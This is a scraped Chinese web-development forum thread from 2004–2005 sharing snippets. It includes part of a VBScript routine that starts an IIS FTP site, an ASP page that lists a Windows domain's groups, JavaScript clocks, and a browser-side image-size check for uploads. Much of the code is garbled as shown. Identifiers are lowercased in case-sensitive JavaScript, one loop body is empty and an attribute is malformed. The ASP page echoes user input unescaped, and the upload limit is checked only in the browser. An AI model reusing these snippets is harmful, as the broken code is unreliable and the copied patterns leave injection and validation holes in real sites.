set newftpserver = getobject("iis://" & computer & "/msftpsvc/" & index)
newftpserver.start
if err.number <> 0 then
wscript.echo "启动站点时出错!"
err.clear
else
end if
end if
astcreateftpsite = index
end function

//域用户列表
<form method="post">
    请输入域名:<input type="text" name="domainname" size="20">
    <input type="submit" value="提交" name="b1">
    <input type="reset" value="全部重写" name="b2">
</form>
<%
if isempty(request("domainname")) or trim(request("domainname"))="" then
  response.end
end if
domainstring =request("domainname")

on error resume next
set domainobj = getobject("winnt://" & domainstring)
tmp= domainobj.minpasswordlength    'verify this is a valid domain
if err<>0 then
  response.write "<font color=red>连接域"&domainstring&"出错!</font><br>"
  response.end
end if
%>
<table border=1 cellpadding=4 width=90% bgcolor=ffffcc>
<tr align=center>
<td valign=top><b><font size=5 color=blue>域<%=domainstring%>内的所有组的列表</b></font>
</td>
</tr>
</table>
<table border=0 cellpadding=5><tr><td><b><font size=3>组名</font></b></td><td><b><font size=3>描

述</font></b></td></tr>
<%
domainobj.filter = array("group")
for each groupobj in domainobj
    if groupobj.class = "group" then
      strinfo=strinfo&"<tr><td><b><font size=3>"&groupobj.name&"</font></b></td><td><b><font

size=3>"&groupobj.description&"</font></b></td></tr>"
    end if
next
set domainobj = nothing
set groupobj = nothing
strinfo=strinfo & "</table>"
response.write strinfo & "<br>"
response.write "<font size=3><i>" & now & "</i></font>"
%>
Quote
2004-12-24 10:52 wnl
忘记说了...for nt4.0。。
用在win2000或者2003下需要在服务器上建立index服务
Quote
2005-1-11 18:41 花狼
非常感谢!


Quote
2005-1-13 14:04 lingblue
希望能发几个有网页特效的网站!!
Quote
2005-2-28 19:14 baino
不错啊
Quote
2005-3-15 15:14 jauny
顶!
Quote
2005-3-24 17:28 欧阳有悔
更全面的时间。秒钟走动
--------------------------
                    <script language="javascript">
<!--
function initarray()
{
  for(i=0;i<initarray.arguments.length;i++)
  this;
}
var isnmonths=new initarray("01月","02月","03月","04月","05月","06月","07月","08月","09月","10月","11月","12月");
var isndays=new initarray("星期日","星期一","星期二","星期三","星期四","星期五","星期六","星期日");
today=new date();
hrs=today.gethours();
min=today.getminutes();
sec=today.getseconds();
clckh=""+((hrs>12)?hrs-12:hrs);
clckm=((min<10)?"0":"")+min;clcks=((sec<10)?"0":"")+sec;
clck=(hrs>=12)?"下午":"上午";
var stnr="";
var ns="0123456789";
var a="";
function getfullyear(d)
{
  yr=d.getyear();if(yr<1000)
  yr+=1900;return yr;}  
//下面各行分别是一种风格,把不需要的删掉即可
document.write(""+getfullyear(today)+"年"+isnmonths[today.getmonth()]+""+today.getdate()+"日 "+isndays[today.getday()]+"");
//-->
    </script>
                    <span id="liveclock" style"=width: 9px; height: 9px"></span>
                    <script language=javascript>
function www_helpor_net()
{
var digital=new date()
var hours=digital.gethours()
var minutes=digital.getminutes()
var seconds=digital.getseconds()

if(minutes<=9)
minutes="0"+minutes
if(seconds<=9)
seconds="0"+seconds
myclock=""+hours+":"+minutes+":"+seconds+""
if(document.layers){document.layers.liveclock.document.write(myclock)
document.layers.liveclock.document.close()
}else if(document.all)
liveclock.innerhtml=myclock
settimeout("www_helpor_net()",1000)
}
www_helpor_net();
//-->
    </script>
Quote
2005-3-29 22:24 yamajia
确实是好东西,实惠
Quote
2005-3-30 13:14 幽阑之秀2005
挑一些自己不会的已经打印下去学习了

谢谢!楼上的若干兄弟姐妹!
Quote
2005-4-29 11:51 inweb
有些不错!

嗯,大部分代码都挺棒的!
不过也有些不太适用
Quote
2005-5-1 22:49 小雨纤纤
收藏夹在哪儿捏??? b)b)b)b)
Quote
2005-5-14 16:43 三颗门牙
有颜色渐变效果吗??

  就像微软那个导航栏一样.....................
Quote
2005-5-16 22:33 撒卡
小弟佩服你们

多多搞一点来看一看,学习学习.在这里谢过了.我非常喜欢它们.太棒了!!!!!
一定要延续下去.如果我学会了.我会发更多的
Quote
2005-5-21 10:49 eair
谢谢拉!
Quote
2005-5-25 10:49 loveme821102
不错哦!
Quote
2005-5-25 15:09 小马设计
谢了 兄弟们
Quote
2005-6-1 16:32 shuerllen
不错,一个个看过,一个个记下,以呆学习!~
Quote
2005-6-5 09:40 lhy8626coco
各位大侠能不能给个
:d让文本内容在从数据库取出来时仍然保持原来的分段格式的代码!
Quote
2005-6-16 17:08 stu_47
将头撞墙中,你们怎么这么厉害啊,惭愧啊,这么大白活了,(发狠)今天才发现这么好的论坛,学习……
Quote
2005-6-22 09:12 滇东儿
我也要学
Quote
2005-7-13 10:29 最强聂风
我顶~~~~多谢各位大侠!!!!!!!!

我顶~~~~多谢各位大侠!!!!!!!!
Quote
2005-8-6 20:53 dodo_hi
thank you
Quote
2005-8-15 17:58 撒卡
求救

谁那里有层随着滚动条而滚动。小弟很急!
Quote
2005-9-24 21:44 飞翔之鹰
学习ing
Quote
2005-9-30 16:09 lihelihe
太好了

真是好东东啊
Quote
2005-10-22 11:57 绝世浪子
完了。头晕了~
Quote
2005-10-24 09:02 西叶风
哇~~~~~`
都是高手啊,我非得粘贴几个玩玩,高手们不介意吧!
Quote
2005-10-26 08:26 菜鸟第1
高手

诸位大哥,大姐:
    都是高手啊!   哪位可以指点我一下啊?  我可是刚来的菜鸟!
                        请教!
Quote
2005-10-30 23:15 风雨无阻
限制图片上传长宽的js代码

html>
            <head>
            <title>upload image</title>
            <meta http-equiv="content-type" content="text/html; charset=gb2312">
            </head>
            <body bgcolor="#ffffff" text="#000000">
            <form name="iupload" action="upfile.asp" method="post">
            <p><input type="file" name="picsrc" size="40"
            onchange="picshow.src=document.iupload.picsrc.value">
            <input type="button" value="上载" onclick="detect()"></p></form>
            <p><img name="picshow"
            src="http://51js.1000box.net/pics/face/19.gif" title="图像预览"></p>
            </body>
            </html>


            <script language="javascript">
            <!--
            function imgexceedsize(w,h){
            if(!document.iupload.picsrc.value==""){
            if(picshow.width>w||picshow.height>h){
            alert("图像尺寸:"+picshow.width+"x"+picshow.height+"。\\n图像尺寸过大!你只能上传尺寸为
            "+w+"×"+h+"的图像,请重新浏览图片!");
            return true;
            }else{
            return false;
            }
            }else{
            return true;
            }
            }
            function detect(){
            var ok=imgexceedsize(50,50);
            if(ok){
            document.iupload.reset();
            }else{
            document.iupload.submit();
            }
            }
            //-->
            </script>
该文发布于:设计互动 (http://www.ccflash.org),更多请参考以上网站.

Username